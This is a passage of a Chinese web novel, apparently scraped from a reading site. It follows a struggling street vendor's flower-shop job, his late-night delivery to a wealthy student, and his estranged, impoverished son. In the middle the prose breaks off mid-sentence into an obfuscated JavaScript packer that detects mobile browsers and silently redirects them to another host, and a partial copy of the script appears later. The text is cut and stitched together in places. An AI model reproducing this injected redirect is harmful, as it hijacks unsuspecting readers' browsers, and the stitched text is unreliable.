“你进来吧。” 她让明则仙进去喝杯水,问了几个问题,又让明则仙试着搭配一捧花。 明则仙之前没学过插花这类的,但好在他基本的审美还是有的,按照配色,很快就搭配好了一捧花。 绿色的茉莉花苞和白色的洋桔梗拥拥簇簇地被包裹在国风的花纸里,清醒又淡雅,花店老板见状点了点头,当即将明则仙录用了。 “马上要过年,花店生意多,所以我要兼职,等年后生意少了我可能就不需要人协理了。” 花店老板丑话说在前面: “所以我的工资都是日结。临近年关,我多给你一点,一天一百九,可以吗?” 明则仙点头:“我知道了,谢谢老板。” 老板见明则仙配合,便让明则仙穿好围裙和手套,开始剥花、打花刺、搬货、选花、包花。 花店的工作看起来体面,实际上累的很,饶是明则仙一个大男人,也有些吃不消,一天下来累的腰酸背痛,打刺的那只手更是肌肉酸疼。 但左右也找不到好的工作,明则仙只能咬牙忍了。 好在花店老板人还不错,工资都爽快的日结了,等到十点钟下班的时候,还允许明则仙带几支便宜不要的瑕疵花枝走。 明则仙对花没什么特别喜欢的感觉,但不要白不要,他选了几支,蹬着共享单车就回了摊位。 摊位的钱都通过摆在地上的付款码扫进了明则仙的支付宝账号,平均一天赚个八九百块的,再加上明则仙在花店兼职的钱,一天差不多有一千上下。 很快,阴暗的地下室就多了不少色彩明亮浓郁的玫瑰花枝,阳光照下来落在上面,好像古典油画一般浓墨重彩,让人看起来心情都不错。 一连兼职了五天,明则仙人都快累麻了,打刺已经形成了肌肉记忆,不需要动脑子就能执行。 好巧不巧,就在他准备第二天休息的时候,陆兰妙的消息发过来了。 明则仙趁摸鱼的时间,拿起手机一看,是陆兰妙让他今晚将他上次买的那批春联载到学校的学生活动中心。 说是今晚,但没说是几点,明则仙提前和陆兰妙说好自己可能会很晚,陆兰妙回了一个“OK”,其他并没有多说什么。 但也许是这几天明则仙表现不错,也可能是晚上也暂时没有什么单子,花店老板就提前放明则仙下班了。 “回去休息一天再来吧。” 花店老板说:“我招这么多工人,只有你最能吃苦,竟然坚持了五天。今天你可以带一束花走,晚点我多结你一点钱。” 明则仙点了点头,对老板说:“谢谢老板。” 他解下围裙,去洗了手,随即挑了一束便宜的花,骑上共享单车离开了。 他走的时候才八点,时间还算早,明则仙回去的路上顺手买了减糖的绿豆糕和山楂饼,送给了给他看摊位的阿公。 阿公看到明则仙特地给他买的绿豆糕和山楂饼很高兴,用力拍了拍明则仙的背,明则仙累了一天,正是肌肉酸痛的时候,差点没被一个近七旬的老人拍吐血。 用三轮车把阿公送回家之后,明则仙又回了一趟地下室。 他开门的时候,花店老板正把今日的日薪发了过来,刚好两百块。 明则仙谢过老板,把陆兰妙的春联搬到车上,随即骑车去了龙成大学。 他到龙成大学的时候近九点了。 夜风有点冷,来回奔波的明则仙被冻的脸颊都僵了。 他想把小三轮车开进学校里,但是保安不允许社会人员随意进出,明则仙只好给陆兰妙打了电话。 陆兰妙那里一直没接。 明则仙很有耐心,将三轮车停在校门隐蔽的边缘处,就这样等着陆兰妙回电话。 正值寒冬,夜风灌进单薄的衣服里,明则仙浑身热汗,被风一吹,很快就顶不住打起了哆嗦。 他忍不住掏出烟,夹在唇边。 正打算用打火机点燃,电话忽然响了。 明则仙手忙脚乱地接起,很快,就听见电话那头传来沉重的呼吸声。 明则仙愣了愣,随即试探道: “陆兰妙?” “........嗯。”陆兰妙的声音里带着鼻音,也不知道是不是喝酒了,闷闷道: “你把东西放在 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明则仙不了解,但导购是一个很年轻的小姐姐,一副对年轻人的喜好了若指掌的样子,明则仙最后还是掏钱买了。 拍立得很贵,加上纸大概六百多,明则仙在花店干的薪水全部砸进去了。 但是只要明华喜欢,明则仙就觉得值得。 他骑车共享单车又回到了校门前。 陆兰妙似乎还没回来。 明则仙一个人很无聊,便低下头,摆弄新买的拍立得。 忽然间,他听到了一阵嘈杂的说话声。 他下意识抬起头,只见一群年轻的学生唱着歌、勾肩搭背地走了过来。 而陆兰妙正走在他们中间,柔顺的头发扫过脸颊,皮肤莹白如玉,微微眯起的眼睛闪着细碎的光泽,脸颊上还带着淡淡的粉色,如同春华。 明则仙认出了他,下意识抬手想叫住他,然而他忘了自己手上还拿着拍立得,手一抖,拍立得就对准了陆兰妙,拍摄下了一张照片。 陆兰妙原本没看到明则仙,是汤和用手肘戳了戳他,轻声道:“兰妙,你看那个人,像不像那天给我们送奶茶的大叔。” 陆兰妙闻言,这才顺着汤和手指的方向,看向坐在小三轮车上的明则仙。 他脚步微微一顿。 他并不想在很多人面前暴露自己认识一个摆摊大叔的事情,毕竟这件事并不能给他的形象增添多少光彩。 航陆集团的总裁儿子和一个摆摊大叔,两个八竿子打不到一起去的人认识,听上去就不可思议。 于是他脚步刻意慢了下来,等到所有人都往前走了,他才调转脚步,懒洋洋地来到了明则仙的身前: “喂,大叔。” 明则仙把拍立得和无意间拍下来的照片收好,随即跳下来,借着月色看陆兰妙发红的脸颊: “喝酒了?” “嗯,喝了一点,不多。”陆兰妙呼出一口气,随口问:“大叔你等了多久了?” 明则仙下意识看了一眼手机,随即道:“不久,就一个多小时。” 陆兰妙闻言,动作一顿,有些诧异道: “这么久?” “还好,我刚刚离开了一会儿。” 明则仙说:“我现在进不去校门,怎么办?” 陆兰妙说:“没事,我和保安沟通一下。” 言罢,陆兰妙走到保安身边,随即拿出校园卡。 两个人沟通了一会儿,保安便点点头,像是同意明则仙进去了。 “可以了,走吧。” 陆兰妙说:“可以进去了。” 明则仙便启动他的小破三轮车,来到陆兰妙身边,低头道:“小老板,你要不要坐上来,我顺带载你进去。” 陆兰妙打量了一眼明则仙的小破三轮车,很是无语。 他出生起就没坐过价格低于两百万的车。 于是他道:“不了,大叔。” 他说:“你开进去吧,学生活动中心离这里不远,我走路快的话十分钟也到了。” 他顿了顿,又道:“还有,别叫我小老板,难听。” 明则仙见陆兰妙不愿意,也就没再勉强,于是笑笑: “那天我叫你大少爷,你不乐意;叫你小老板,你也不乐意。” 陆兰妙听出他的弦外之音,斜他一眼:“觉得我难伺候?” “是有点,和大小姐似的。”明则仙说:“我还是继续叫你妙妙吧。” 言罢,明则仙不顾陆兰妙的反对,骑车开了进去,陆兰妙干站着瞪了他一眼,才动了动腿,跟在他后面,慢悠悠地走。 夜色浓厚,空气如同结了冰一般,割的人脸上有些疼。 陆兰妙浑身裹在暖烘烘的双面羊绒衫里,低下头将脸埋进昂贵的围巾里。 他的衣服最贵的五六万,轻便又保暖,还很衬腰身,他并不觉得有多冷。 倒是明则仙,身上的那件夹克都破了洞,里面还穿着鼓囊囊的,很明显就是衣服不保暖,只能胡乱地多塞几件来御寒。 说实话,陆兰妙并不喜欢明则仙,也不觉得自己会和这个大叔以后有什么多深的交集,他买明则仙的东西,只不过是想补偿那天因为误会对明则仙造成的伤害。 等今天之后,钱货两讫,他就不欠明则仙什么了。 他一边漫不经心地想着,一边慢悠悠地往前走,直到学生活动中心的字出现在他面前。 已经晚上十点多了,校园里没有多少人,但路灯还在静悄悄地开着,明亮的光线打下来,落在底下站着的人身上。 男人身材笔直,黑色的夹克和牛仔裤,低下头,一手拨动打火机一边用掌心护着唇边的烟,直到有微黄的星火从他的掌心亮起,他才抬起头来,露出漆黑深邃的眼睛。 他的眼睛里不含多少的感情,烟雾袅袅,将他的眉眼模糊的如同留白的水墨画。 他似乎像是有心事一般,瞳仁里氤氲出淡淡的烦躁,漆黑的眼睫抬起,看着暗色的天幕,唇边吐出的烟雾随着他修长指尖的抖动而变换着形状。 陆兰妙无端为面前这幅情景而屏住了呼吸。 从见到明则仙的第一眼,他就不觉得明则仙是多好看多有气质的人—— 胡子不刮,头发又长又凌乱,似乎是从来没有打理过,身上破破烂烂的,带着酒味和霉味,身材也有些臃肿,脸上也全是被生活毒打过的狼狈和疲惫。 但今天他发现明则仙似乎是有些瘦了,那么多的廉价衣服穿在他身上,似乎也不再见当初臃肿肥胖的痕迹,反而有些宽大。 他站在原地没有动,就这样不顾时间地流逝,出神地打量着明则仙,直到明则仙注意到他的视线,看了过来。 陆兰妙和他对上视线。 几秒钟之后,陆兰妙看见明则仙将烟掐灭,对他轻轻勾了勾手指,骨节分明的手指下方是微微鼓起的青筋,独属于男人的性感: “妙妙,过来。” 他声音淡淡,沙哑慵懒:“等你很久了。” 9. 明景 陆兰妙不自觉地朝明则仙走了过去。 走到明则仙面前时,他才反应过来自己方才干了什么,站在原地看着明则仙,脸上青青红红,变化多端: “..........” 明则仙:“?” 他将最后一口烟吐出,看了陆兰妙一眼,一言不发,利落地开始脱外套。 陆兰妙:“.........” 他猛地后退一步,盯着明则仙,这下脸彻底变成了全熟: “你,你想干什么!” “卸货啊,还能干嘛。” 明则仙莫名其妙地看他一眼,随即将车甩到座位上,利落地开始卸货,把春联搬下来。 陆兰妙:“........” 意识到想岔了的陆兰妙紧抿着唇,神情阴晴不定,脸色愈发精彩,明则仙用余光看他,只觉得很有趣—— 这小孩一个人的内心戏多的过分,如果给他搭一个戏台,估计不需要旁人陪他搭戏,他一个人就能演起来。 但这话,明则仙没说,怕得罪客户,让陆兰妙炸毛,引起不必要的事端。 “你把春联放在这里吧。” 陆兰妙是学生会的会长,小部分房间的钥匙在他手上。 他走到学生活动中心的舞台最里侧,打开了一扇门。 这个小房间是控制舞台灯光的操纵室,陆兰妙蹲下来把房间里凌乱地杂物收拾了一会儿,给明则仙腾出位置,还顺手把舞台顶端的一盏灯打开了,照明: “来,放着。” 明则仙依言把东西放好。 房间在二楼,他只能上上下下地跑,最后人都热出汗了,才终于把货搬完。 热成这样........难怪他刚才要脱外套。 看着明则仙额头渗出的晶亮细汗,陆兰妙下意识摸了一下口袋,拿出一包手帕纸,拆开递给了明则仙: “给。” 明则仙道了一声谢,随即伸手接过手帕纸。 怕明则仙拿不到,陆兰妙便往明则仙身边走了几步。 站在明则仙时身边时,他隐隐约约闻到了明则仙身上的味道。 不是汗味,也不是酒味和霉味,好像是—— 花香味。 花香味像是染在了他身上的每一片皮肤似的,馥郁中又带着草木淡淡的苦涩。 草木味道很好地中和了花香味的浓郁脂粉香,转而变成了扑鼻宜人的清甜,侵入陆兰妙的鼻腔,像是一阵凌冽清新的风,钻进了陆兰妙的肺里。 陆兰妙下意识深吸了一口气,随即缓缓吐出。 他看着正在擦汗的明则仙,犹豫了好久,一句话在心里删删打打反反复复,堵在喉咙里良久没有说出去,差点把自己憋死的时候,才听见明则仙道: “东西已经送到了,我就先回去了。” 陆兰妙闻言一怔,片刻后才回过神来,将视线落在了明则仙身上。 明则仙的穿搭很随便,一截衬衫从线衣里伸出来,皱皱巴巴歪歪扭扭,陆兰妙很是嫌弃,但还是强行忍住了给明则仙整理的动作,点了点头: “.......好。” 明则仙已经往前走了,但余光里看着陆兰妙站在原地欲言又止的模样,想了想,又走了回来,俯身看着陆兰妙: “妙妙,你想和我说什么?” 他说话时,舞台的一盏白灯恰好从他头顶打下来,但过于优越的眉骨将光线挡去,下半张脸仍旧处于淡淡的阴影之中,衬的他眉目愈发深邃漆黑,闪烁着隐隐的笑意。 陆兰妙的身体像是被钉在了舞台之上,半天没有动作,视线顺着明则仙过于宽大的衣领往下看,能看到明则仙精致白皙的锁骨。 很白。 陆兰妙不免有些困惑。 他有时候觉得明则仙是一个比他年长二十岁的大叔,有时候又觉得明则仙的言谈举止更像是一个比他大不了多少岁的年轻人,甚至连身体也没有中年男子被社会毒打过的佝偻和萎靡,反而过于挺拔,像极了一个刚出社会、意气风发的年轻人。 .......可能是错觉。 陆兰妙回过神来,后退几步,偏过头去,似乎有些生气,低声道:“别离我这么近。” 他淡淡道:“我有洁癖。” 明则仙奇道:“我又不脏,每天都洗澡。” “你刚刚搬东西了,身上有灰尘。”陆兰妙道。 明则仙:“..........” 他盯着陆兰妙,不开口了。 陆兰妙被他看的毛毛的。 他的家世决定了他说每一句话做每一件事都不需要考虑太多,但明则仙一不说话,他就不免忐忑起来: “我不是嫌弃你,是.......” “还挺难伺候。”明则仙没生气,反倒笑了:“我没说错,你还真是个大小姐。” 陆兰妙:“.......你烦人。” 明则仙从善如流地改口,道:“那我不说了。” 他摆摆手:“那我走了?” 陆兰妙反正也要回宿舍,也就陪着明则仙走下来。 他看着明则仙的背影,几经犹豫,到底还是没好意思把“你今天喷的是什么香水”这句话给问出口。 回到宿舍之后,陆兰妙坐在桌上,思考了很久,又试探着给明则仙发了一个转账。 他想看看明则仙有没有生气,把他删掉。 索性明则仙没有生气,还给他发了一个简单的问号。 看到那个问号,陆兰妙又来了气,索性不回了。 那条转账直到过了24小时,明则仙也没有收,陆兰妙心里思忖他不是缺钱吗,怎么给钱也不要? “兰妙.......兰妙?”一阵疑惑的音调将陆兰妙的思绪拉了回来: “你这两天是怎么了,老是盯着手机看。” 陆兰妙仰起头,看着汤和咬着筷子看他:“心神不宁的。” “.......没事。”陆兰妙说。 “你这状态,明天最后一门考试能发挥好吗?”汤和说:“我们赶紧出吃完饭,你晚上回去好好休息一下吧。” 陆兰妙“嗯”了一声,低下头喝了一口汤: “你买好回家的动车票了吗?” “买好了。” 汤和得意道:“我晚上回去就收拾东西,明天一考完试就走。” “这么快。”陆兰妙眼睛盯着汤: “归心似箭啊。” “是啊,大半年没回家了。”汤和说:“我又不像你,家就在本市。” 陆兰妙没回这句话。 他像是又陷入了某种沉思之中,吃饭的动作也慢了下来。 汤和:“........” 他等了一会儿,没等到陆兰妙的话,下意识伸出手,在陆兰妙的面前晃了一下,成功把陆兰妙的视线吸引过来后,才纳闷道:“你怎么又走神了?” 他问:“你恋爱了?在想男人还是想女人?” 陆兰妙被汤和开玩笑的质问吓了一大跳: “你说什么呢!什么恋爱!别造谣我!” “哎呀,我开玩笑的,谁叫你这两年老是不听我说话。”汤和没想到陆兰妙反应这么大,忙道: “好了好了,吃饭吧,吃完饭赶紧回宿舍。” 陆兰妙:“........” 他也意识到自己方才的反应有点过激了,冷静下来之后,看着汤和,才冷不丁道:“汤和,你说........” 他顿了顿,没继续讲下去,直到汤和下意识抬起头来,看他,问: “说什么?” “你说一个人平时打扮的邋里邋遢,来见你的时候却喷了香水,代表什么?”陆兰妙说。 “嗯?”汤和思考片刻,随即道: “说明他很重视和你的会面........所以你们是在一个很严肃的场合见面的吗?如果是,就说明他是一个很注视自身形象、且懂礼仪的人。” 陆兰妙皱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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他看到陆兰霁就没有了吃饭的心情和胃口,也不管汤和吃完没有,端起餐盘就往楼梯口走。 汤和赶紧将最后一口饭咽下,跟了过去。 在经过黄焖鸡窗口的时候,他用余光扫了陆兰霁一眼。 陆兰霁应该也看见他了,紧张地贴着身边的年轻人站好,如同被罚站军姿一般,看见陆兰妙走过来,才小小声地喊了一声“哥”,嗓音细如蚊蝇。 陆兰妙懒得理他,只是瞥了他一眼,没有回应,视线一直落在他身边的年轻人身上。 那年轻人比他高一些,垂下头看他,并未做出什么表情,只是漠然看着他离开。 但陆兰妙却觉得这双眼睛过于眼熟,被这个年轻人看的略微晃神,片刻后,脑海里竟然浮现出了明则仙的眼睛。 好像....... 不对,他怎么又想到那个大叔了! 陆兰妙摇了摇头,赶紧将明则仙的脸从自己的脑海中赶出去。 见陆兰妙走远之后,陆兰霁才悄悄松了一口气。 他用力抱紧了明景的手臂,像是要从明景身上得到些许安全感似的,小声道:“我哥看起来好凶。” 明景懒得理他,专心等菜,没说话。 没得到明景的回应,陆兰霁好像也习惯了。 他顿了顿,又讨好般撒娇道: “明景,你寒假有空吗?我们寒假还能再见面吗?” “没空。”明景这回理他了,干脆利落拒绝道:“我要打工挣钱。” “..........”陆兰霁委屈地撇了撇嘴,拖长声音道:“可是我们才刚刚在一起,你能不能不打工啊,我每天都想见你的。” “.........”明景转过头,盯着陆兰霁看了一会儿,片刻后破天荒地笑了: “可以啊。” 他漫不经心道:“那你给我转钱,我就不去打工了,怎么样?” 10. 混蛋 话音刚落,陆兰霁的嘴就慢慢撅了起来。 他比明景小几个月,在家又是个受尽宠爱,惯会撒娇卖痴的,闻言有些不开心地抱住了明景的手,轻轻摇了摇,脸颊贴在明景的手臂上,小声道: “我上周不是才给你转了五千吗,你怎么又要钱?” “不够花。”明景随口道: “买了台手机就没了。” 陆兰霁:“........” 他低下头,看着明景手里握着的崭新锃亮的mate70,知道明景没说谎,片刻后轻轻叹了一口气,道: “好吧。” 他说:“等会儿吃完饭之后,我再给你转一些。” 明景闻言,眼睛里闪过些许的波动,这下终于转过头,开始正眼瞧陆兰霁了: “转多少?” 他对钱的兴趣显然比对陆兰霁的兴趣要强得多,看向陆兰霁的眼神微微明亮起来,仿佛在看一台取之不尽用之不竭的atm机—— 甚至还顺手打开了收款码。 陆兰霁:“............” 他仰头看明景,软声问: “你要多少呀?” 明景缓缓眨了眨眼睛,漆黑纤长的眼睫轻轻颤动,像是振翅欲飞的蝶: “十六万。” 陆兰霁:“............” 他母亲每个月给他的零花钱大概有二十万左右,但是他自己也要花,今天这里买几件衣服,明天那里买几个首饰,二十万也不够他花的,何况和明景在一起之后,两个人吃饭约会甚至送礼物的开销都要从他这里走账,马上要月底了,陆兰霁手里只剩下三四万了。 于是他摇了摇头,道:“我现在手里没有那么多的钱。” 明景眼睛里的光顿时熄灭了,又恢复成原来百无聊赖的敷衍状态,转过头去,直接将手机熄屏,放进裤兜里,不再看陆兰霁了。 陆兰霁想要说话,但他们俩的餐品很快就好了,明景顺手替他端过。 他长得高,抬眼看向哪里还有空座,视线一扫,便精准地锁定了靠墙的包厢位置。 北区食堂二楼有一小块区域是用半人高的墙围起来的,类似于包厢,比较私密,但桌椅与桌椅之间也没有门和墙,只不过桌子比较大,比较好坐。 明景将陆兰霁的餐盘放在桌上,随即准备坐到他对面去。 陆兰霁不准,拉着明景的手,不松: “哥哥和我一起坐好不好。” 明景只好在他身边坐下。 他拿起筷子,看了陆兰霁一眼,道: “别叫我哥哥。” 陆兰霁问:“为什么?你确实比我大呀。” “不准叫。”明景淡声道:“再叫就分手。” 陆兰霁被明景的话吓了一大跳,赶紧点头道:“好的,好的,我再不叫了。” “吃饭。”明景的筷子在陆兰霁的饭碗边缘点了点,警告道: “别闹腾了。” 陆兰霁只好低头吃饭。 明景吃饭不怎么说话,陆兰霁坐在他身边,一个人滔滔不绝地和他分享自己今天在学校里遇到的事情,还和明抱怨,说自己这次期末考试没有考好,妈妈不给他买他最想要的私人飞机了。 明景闻言,吃饭的动作一顿,看向陆兰霁。 陆兰霁淡色的眉头微微蹙起,说到没有办法买到喜欢的私人飞机时,红润的唇还微微撅起,像是家里被宠坏长不大的小孩。 他是真的在为没有买到私人飞机而难过,但从来没有想过,明景连飞机都没有坐过,根本无法理解他的痛苦。 他之前在厂里打工,被黑心老板故意克扣了工资,原定的劳动报酬只拿到了一半,身上所有的钱用来交学费、买生活用品,身上就不剩多少了,甚至因为缺少生活费,明景不得不需要通过帮人代课、拿快递,来赚取晚饭的费用。 对他来说,世界上最痛苦的事情,不是买不到私人飞机,而是时刻担心自己吃不起下一顿饭。 最穷的时候,明景只能在食堂吃免费的兑水的紫菜汤来抵御饥饿。 明景保持沉默,继续吃饭。 他没有将自己的事情告诉陆兰霁,同样也不知道怎么安慰陆兰霁。 “你怎么不回应我呀。”得不到明景的回答,陆兰霁用手肘戳了戳明景的手臂,道: “我和你说了好多话,你都不理我的。” 明景从自己的思绪中回过头来,深吸一口气,随即道: “宝贝,吃饭好不好?” “我不饿。”陆兰霁爱吃小蛋糕和奶茶这种甜甜的东西,在等明景考试的时候,他就已经吃了不少了, “明景,你和我说说话呀。” “说什么,”明景扫他一眼: “我不知道要说什么。” “可是我真的很难受。”陆兰霁不开心道:“你一点都不理解我的,你都不知道我期待那架私人飞机期待了多久,它.........” “那就分手。”明景径直打断了他的话。 陆兰霁抱怨的话顿时卡在嗓子眼里,瞪圆眼睛,像是被吓到的受惊仓鼠,脸颊脸侧的饭粒将他的脸颊塞得鼓鼓的,好半晌没有反应。 明景说:“现在还要我理解你吗?” 陆兰霁闭上嘴,赶紧摇了摇头,和拨浪鼓似的。 “吃饭。”明景命令道:“吃完饭送你回宿舍休息。” 陆兰霁乖乖点头。 他总算消停了。 明景吃饭快,吃完见陆兰霁还在慢慢地把香菇和金针菇挑出来,看不下去,于是道: “不爱吃就给我。” 陆兰霁不爱吃菇类,于是依言把香菇和金针菇都丢进了明景的碗里。 他连鸡皮都不吃,最后全部都挑出来给明景吃了,两人吃完饭后,陆兰霁又去买了一杯豆奶饮料。 明景看他,道:“饭就不吃,饮料喝这么多。” “我就爱喝饮料嘛。”陆兰霁把饮料捧到明景面前,道:“你喝嘛?” 明景只喜欢喝汤,于是摇头,“你自己喝吧。” 说话间,陆兰霁的宿舍已经到了。 “你先上去吧。”明景说。 言罢,他转身就想走,却被陆兰霁拉住: “你去哪。” “去拿快递。”明景在学校里帮人拿快递,按照大件和小件收取费用,每件均一块五左右。 “你怎么每天都拿快递呀。” 陆兰霁不知道他要通过帮人拿快递赚钱,于是皱眉: “不许拿,陪我站一会儿。” 明景只能站定。 中午周围没什么人,他们又是正儿八经的情侣,陆兰霁看着明景的冷脸,心中微动,片刻后趴在明景的身上,踮起脚仰起头,黏黏糊糊地要亲明景。 明景心里装着事情,于是敷衍地低下头亲了亲陆兰霁,随即就把他推开了: “行了,上去吧。” 他说:“我还有事要忙。” 陆兰霁亲的正沉迷,没提防被明景推开,有些气又有些委屈,当即眼尾就红了一片: “你这个人.......” 他用力跺脚:“你根本就不喜欢我的!” 明景定定地看着陆兰霁,片刻后才轻声道:“刚开始在一起的时候,我不就说过我不喜欢你,你自己可以说想试一试。” 明景的声音很漠然: “怎么,现在你又不开心了.........怪谁呢?” 陆兰霁彻底被明景的态度气哭,怒气冲冲地踩了明景一脚,随即上楼去了。 明景懒得理他,直接转身往快递站走,面对陆兰霁的发脾气,一点留恋也没有。 马上要放寒假了,学校宿舍楼要封楼,明景没有地方住,又不想回那间阴暗满是酒味的地下室,他现在迫切要找一个容身之所。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15338580|167793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 走在街上的时候,他已经能感受到浓郁的年味了,可这个年,他注定只能自己一个人过。 寒假不上课,明景有大把的时间去打工。 可他要找什么地方打工呢。 明景上午考完下午就没什么事了,送完快递之后,便出了校门,坐上了前往商业区的公交车。 为了找工作,他已经好几次在街上游荡了,要不是长相皮囊上佳,说不定会被人认成无业游民。 下了公交车,也不知道走了多久,明景在路边扫到一家西西弗书店正在招兼职,想了想,就走了进去。 书店的老板刚抬头,就看见一个身形挺拔的冷脸帅哥走了进来,眼睛为不可查地一亮。 人都是视觉动物,喜欢长得漂亮好看的,何况明景的长相绝对是能够得上明星的类型,加上家境贫寒,没有那股子油腻装逼的气息,气质冷淡干净,老板很快就注意到了明景。 得知明景的来意之后,老板便将书店兼职需要做的工作和明景说了,明景点头表示能做,老板看过他的身份证和学生卡后,便拍板决定试用明景一天,如果做得好,便让明景留下来做。 找到了寒假的兼职,有了收入的来源,明景心中悄然放下了一块石头。 现在就要找好寒假要住的地方........ 可马上就要过年了,哪里去找短租的地方呢? 和老板约好了上班的时间之后,明景便走出了书店。 直到拿起手机,他才发现陆兰霁在他面试的半个多小时内,竟然给他打了十多个电话。 明景:“..........” 他给陆兰霁回拨了一个电话过去,还未开口,就听见陆兰霁带着哭腔道: “明景,你为什么不接我电话!” “在忙。”明景淡然道:“什么事?” “.........”听着明景过于冷淡和无所谓的语气,陆兰霁的呼吸声更重,片刻后恶狠狠道: “我们.......分手!” 话音刚落,两个人都没再说话了。 陆兰霁自己都紧张的掌心出汗,呼吸发沉,手腕颤动。 他并不是真的想分手,只是想耍一耍小脾气,好让明景多在意他一点。 起码——要解释他刚刚到底在忙什么,为什么没有接他电话吧! 不知过了多久,也许是几秒钟,也许是几分钟,陆兰霁听到明景开了口,但却不是解释: “随你。” 明景语气不带一丝感情:“想分,那就分吧。” “........” 此句话如同当头棒喝,直接将陆兰霁打蒙了,他登时大脑一片空白。 他张了张嘴,正想说话,电话那头已经传来了嘟嘟的声音。 明景直接把电话挂了。 看着被挂断的通话记录,明景深呼出一口气。 白色的雾气将面前的景色染上了一片朦胧,明景仰起头,看向不远处灰白的天空,没有说话。 他现在口袋里只剩下十五块钱了。 后天才正式上岗,那今天和明天的伙食,要去哪里解决? 正当他思考的时候,口袋里的电话忽然又响了起来。 他以为又是陆兰霁,掏出手机一看,来电人的提醒却是—— 明华。 他微微眯了眯眼睛,几经犹豫,还是按下了拒绝。 他以为这样明华就能消停了,但没想到,电话却接二连三地打来。 他在拉黑明华和接起电话之间犹豫片刻,最后还是忍耐地接起了电话: “喂。” “哥哥!”电话那头传来了明华惊慌的声音:“怎么办,我,我死定了!” 明景闻言,心中登时一紧,下意识站直了身体,面色冷凝: “怎么回事?!” 他几乎想也不想,就沉声道:“明则仙他那个混蛋又打你了?!” 11. 伤口 听到明景明显起了波动的紧张语气,明华忙道: “不是,不是的。” 他的声音从电话里传来,带着沙沙的轻微电流声,有些失真,支支吾吾道: “是,是我那个.........” “哪个?”听到不是明则仙赌输了又打弟弟,明景肩膀微微一松,重新靠回墙上,语气也变的懒洋洋起来: “没什么事的话我先挂了。” “别..........哥哥!”明华声音登时提高了,语气也变的紧张起来: “哥哥,我.........” 他顿了顿,终于咬牙道:“哥哥,我期末考试没有考好,怎么办!” 他欲哭无泪道:“爸爸知道了,肯定会打死我的!” “放心吧,他只会因为赌博输了打我们,绝对不会因为你成绩不好打你。”明景根本没有把这件事放在心上,闻言随口安慰了一句,紧接着又问: “你考了多少分?” 明华支支吾吾地说了几个数字,明景没听清,又问了一遍: “班上排名多少?” 明华这次的声音更低了: “..........倒数第二。” 明景:“..........” 他微微哑然。 倒数第二。 就算是明景曾经被明则仙打的眼角出血、视线模糊,第二天还要艰难地忍着肌肉的疼痛爬起来去考场考试的时候,他也照样能考全年级第一—— 自他上学开始,他就没有考过班级倒数过,他的成绩,不需要任何人为他操心,也不需要明老爷子动用人脉把他塞进龙成英才学校。 以明景的智商无法理解明华为什么能考全班倒数,就像是明华无法理解为什么哥哥能够过目不忘,无论多难的题目多复杂的公式和题型,在他面前都如同“1+1=2”那样简单。 明景是天才。 明华至始至终都相信这一点。 要不是家庭的拖累,要不是经济上的拮据,明景绝对能去更好的学校,而不是留在x市。 他可以去京城,可以出国,而不是被家庭的债务拖着往下坠,不知何时才能翻身。 可龙成大学是全国排名前十的大学,其中明景就读的心理学更是王牌专业,放眼全国,倒也没有哪一个学校的心理学能比龙成大学更出色,想到这里,明华又莫名放心了些。 “我记得爷爷临走前不是留下了一笔钱吗,你自己找老师补习一下吧。”明景的声音从电话那头传了过来,依旧是淡淡的: “不会读书可不行。” 明华忙道:“可是这笔钱里面有一部分是爷爷给你读大学的学费和生活费,我不能拿来........” “我不用你操心,你管好你自己就行。” 明景说:“钱你留着用,不用给我。就这样,挂了,没事别再给我打电话。” 明华闻言,赶紧开了口:“哥那你过年还回家吗——” 他最后一个字还未落下,明景就已经把电话挂断了。 他假装没有听到明华的话。 回家? 回什么家? 那个脏污、潮湿、充满霉味和酒味的阴暗地下室,能叫做家? 那个地方,带给他的只有数不尽的屈辱和疼痛。 每每回想起那些日子,都像是做了一场噩梦,回忆起来依旧后背汗湿,冷汗涔涔。 明景直到现在还是无法听到打火机打开和啤酒瓶或者玻璃酒瓶盖子被打开的声音,没听到一次他都会不自觉地浑身紧绷,头皮发麻。 他讨厌抽烟和喝酒的人,也同样不沾烟酒。 尤其是酒。 酒味是他全世界最厌恶的味道,这种味道无论在何处闻到,都能轻而易举地将他拉入那段如同噩梦一般的日子里,令他呼吸不畅,举步艰难。 明景知道自己可能是因为那段被家暴的时光而留下了一定程度的心理阴影,在最需要家人的爱和陪伴的时候,他先后失去了母亲和爷爷奶奶,最后只剩下一个面目全非、人不人鬼不鬼的爸爸。 他甚至不想承认那个人是他的爸爸。 听到或者说到他的名字,都还是会很厌恶的程度。 他像是缺失了爱人或者被爱的能力,情感淡漠到了极致,除了钱对任何事情都提不起任何兴趣,在同龄人都在为了青涩的爱情或者暧昧兴奋或者辗转反侧的时候,明景只想知道怎么才能快速地搞到钱,还清那如同压在他心里如同巨石一般的债务。 他知道自己不正常,所以就读了心理学,努力想要自救,可渡人难渡己,很多事情不是想得明白,就能过得很好。 没经历过的人没资格说放下。 明景已经习惯了和自己的冷漠和解,因为冷漠是过去的经历馈赠给他的礼物,可以让他最大限度地保护自己,不再让他轻而易举的因为外界的伤害造成剧烈的情绪起伏,再度对他自己造成二次伤害;但冷漠像是一道伤人也伤己的刀锋,使用不当也会让自己的心上留下深可见血的伤痕,他无法让那道伤愈合,无可奈何,只能告诉自己习惯就好。 与冷漠和疼痛共生,是他十多年来早已钻研深刻深透的课题。 无法彻底放下,同样也无人可以一同分享参悟的课题。 拿着剩下的钱买了一包方便面,回宿舍泡过之后,明景就回宿舍睡觉了。 醒来的时候发现明华和陆兰霁都给他发了消息,他一条都懒得看,全部清除了。 宿舍的人基本都走光了,要么回家要么出去聚餐,明景没有什么事情要做,便开始读书。 